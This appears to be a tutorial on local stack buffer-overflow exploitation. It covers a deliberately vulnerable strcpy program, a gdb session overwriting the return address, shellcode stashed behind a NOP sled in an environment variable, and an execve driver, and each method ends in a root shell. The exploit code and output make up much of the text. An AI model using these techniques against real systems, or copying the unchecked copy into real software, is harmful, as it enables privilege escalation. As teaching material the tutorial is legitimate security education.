Our last example stepped through a basic buffer-overflow exploit. In the end it got us a shell, but it took a lot of work along the way. Now that we have some fundamentals down we can move onto some more advanced features that should make this process much easier. This section will focus on stashing your shellcode in environment variables. Why this is important...

For this example, vulnerable.c is as follows:

$ cat vulnerable.c 
#include <stdio.h>
#include <string.h>

void bar(char *arg, char *out) {
  strcpy(out, arg);
}

void foo(char *argv[]) {
  char buffer[128];
  bar(argv[1], buffer);
}

int main(int argc, char *argv[]) {
  foo(argv);
  return(0);
}

How do we expect to exploit this program? Your eyes should immediately be drawn to the static buffer declared in foo. This is almost always a dead give-away of a possible buffer overflow. The foo function calls the bar function, which simply writes the contents of argv[1] into buffer (remember: strcpy(to, from)) without any bounds-checking. If that's the case, we should be able to write an arbitrary length of characters into buffer and overflow the return address of the foo function. Let's quickly test our theory:

$ gdb -q vulnerable
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) break foo
Breakpoint 1 at 0x8048397: file vulnerable.c, line 10.
(gdb) run `ruby -e 'print "A"*200'`
Starting program: /home/sam/vulnerable `ruby -e 'print "A"*200'`

Breakpoint 1, foo (argv=0xbffff9e4) at vulnerable.c:10
10        bar(argv[1], buffer);
(gdb) x/s buffer
0xbffff8b8:      "\001"
(gdb) s
bar (arg=0xbffffaf5 'A' <repeats 200 times>, out=0xbffff8b8 "\001") at vulnerable.c:5
5         strcpy(out, arg);
(gdb) 
6       }
(gdb) 
foo (argv=0x41414141) at vulnerable.c:11
11      }
(gdb) x/s buffer
0xbffff8b8:      'A' <repeats 200 times>
(gdb) info frame
Stack level 0, frame at 0xbffff940:
 eip = 0x80483ae in foo (vulnerable.c:11); saved eip 0x41414141
 called by frame at 0xbffff944
 source language c.
 Arglist at 0xbffff938, args: argv=0x41414141
 Locals at 0xbffff938, Previous frame's sp is 0xbffff940
 Saved registers:
  ebp at 0xbffff938, eip at 0xbffff93c
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

The remainder of this paper will deal with stashing shellcode using environment variables and how we can use that to our advantage. As mentioned above, an environment variable can (within reason) hold shellcode of just about any length. We can use this to our advantage. Remember NOPs, they're those useful little assembly instructions that really do nothing at all. We can use those to pad our shellcode, giving us a much larger error margin. This is called using a NOP sled. This will get explained much more in the 'shellcode' part. What's important to realize is that by using an environment variable to stash our shellcode we can pad our shellcode with a long NOP sled to make exploitation much easier. For this example, we will generate an exploit string 200 bytes long (remember the buffer we are overflowing is 128 bytes long). This should give us lots of wiggle-room.

$ export SHELLCODE=`ruby -e 'print "\x90"*160'``cat shellcode.bin`

The following short program, getenvaddr.c, can get us the location of the shellcode:

$ cat getenvaddr.c 
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
  char *addr;
  if (argc < 2) {
    printf("Usage:\n%s <environment variable name>\n", argv[0]);
    exit(0);
  }

  addr = getenv(argv[1]);
  if (addr == NULL)
    printf("The environment variable %s doesn't exist.\n", argv[1]);
  else
    printf("%s is located at %p\n", argv[1], addr);

  return(0);
}
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffffafd

We have our shellcode in an environment variable, and we know it's address. Let's try our luck at a quick exploit.

$ ./vulnerable `ruby -e 'print "\xfd\xfa\xff\xbf"*50'`
# whoami
root
# exit

Wow! That was pretty easy. The combination of NOPs and a reliable storage spot for our shellcode vastly improves our ability to exploit local buffer-overflows. For completeness, there is one more way to use an environment variable to store shellcode. This method was popularized by Aleph One in his seminal paper "Smashing the Stack for Fun and Profit." He uses a driver program that populates his environment variable and executes the vulnerable program. A modified version is shown below:

$ cat env_exploit.c 
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include "shellcode.h"

int main(int argc, char *argv[]) {
  char *args[3];
  char *env[2] = {shellcode, 0};
  unsigned int i, ret;
  char *buffer = (char *) malloc(160);

  ret = 0xbffffffa - (sizeof(shellcode) - 1) - strlen("./vulnerable");
  for (i = 0; i < 160; i += 4)
    *((unsigned int *)(buffer + i)) = ret;

  args[0] = "vulnerable";
  args[1] = buffer; args[2] = NULL;
  execve("./vulnerable", args, env);

  free(buffer);
  return(0);
}
$ ./env_exploit 
# whoami
root
# exit